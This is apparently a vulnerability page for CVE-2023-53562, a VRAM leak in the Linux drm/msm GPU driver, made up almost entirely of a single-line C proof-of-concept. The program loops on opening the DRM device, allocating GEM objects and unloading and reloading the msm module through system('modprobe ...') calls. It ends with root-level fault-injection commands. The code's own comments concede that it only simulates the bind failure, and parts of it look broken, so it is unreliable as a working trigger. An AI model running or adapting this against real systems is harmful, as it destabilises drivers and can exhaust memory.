CVE-2023-53562 Linux内核drm/msm驱动VRAM内存泄漏漏洞

// CVE-2023-53562 PoC - Trigger VRAM leak in drm/msm driver // This PoC demonstrates how to trigger the VRAM memory leak by // causing a subcomponent bind failure during GPU initialization. #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <drm/drm.h> #include <drm/msm_drm.h> // Note: This vulnerability requires kernel-level access to trigger. // The actual exploitation involves manipulating the GPU device binding // process to cause subcomponent initialization failures. /* * Trigger Strategy: * 1. Load the msm GPU driver module * 2. Attempt to open the DRM device (/dev/dri/card0) * 3. Force a bind error by manipulating hardware state or dependencies * 4. Observe VRAM memory not being released * * On a vulnerable system, checking /sys/kernel/debug/dri/0/vram * after repeated bind failures will show increasing memory usage. */ int main(int argc, char *argv[]) { int fd; int ret; int iterations = 100; if (argc > 1) { iterations = atoi(argv[1]); } printf("CVE-2023-53562 PoC: VRAM Leak in drm/msm\n"); printf("Iterations: %d\n", iterations); for (int i = 0; i < iterations; i++) { // Open the DRM device for the MSM GPU fd = open("/dev/dri/card0", O_RDWR); if (fd < 0) { perror("Failed to open DRM device"); // Try to trigger rebind system("modprobe -r msm 2>/dev/null"); system("modprobe msm 2>/dev/null"); continue; } // Attempt to allocate GEM object (triggers VRAM allocation) struct drm_msm_gem_new gem_new; gem_new.size = 4096 * 1024; // 4MB allocation gem_new.flags = 0; ret = ioctl(fd, DRM_MSM_GEM_NEW, &gem_new); if (ret < 0) { // This simulates a bind failure scenario fprintf(stderr, "GEM allocation failed at iteration %d\n", i); } close(fd); // Force driver rebind to trigger leak if (i % 10 == 0) { system("modprobe -r msm 2>/dev/null"); usleep(100000); system("modprobe msm 2>/dev/null"); } } printf("PoC execution complete. Check VRAM usage for leaks.\n"); return 0; } /* * Kernel-side trigger (requires root/CAP_SYS_ADMIN): * * To trigger the actual vulnerability at the kernel level: * 1. Use a faulty device tree or corrupted firmware to cause * a subcomponent bind failure * 2. Or use fault injection (e.g., fault-inject capability) to * make the bind function fail after VRAM allocation * * Example using fault injection: * echo 1 > /sys/kernel/debug/failslab/times * echo 100 > /sys/kernel/debug/failslab/probability * modprobe msm # This will trigger the leak */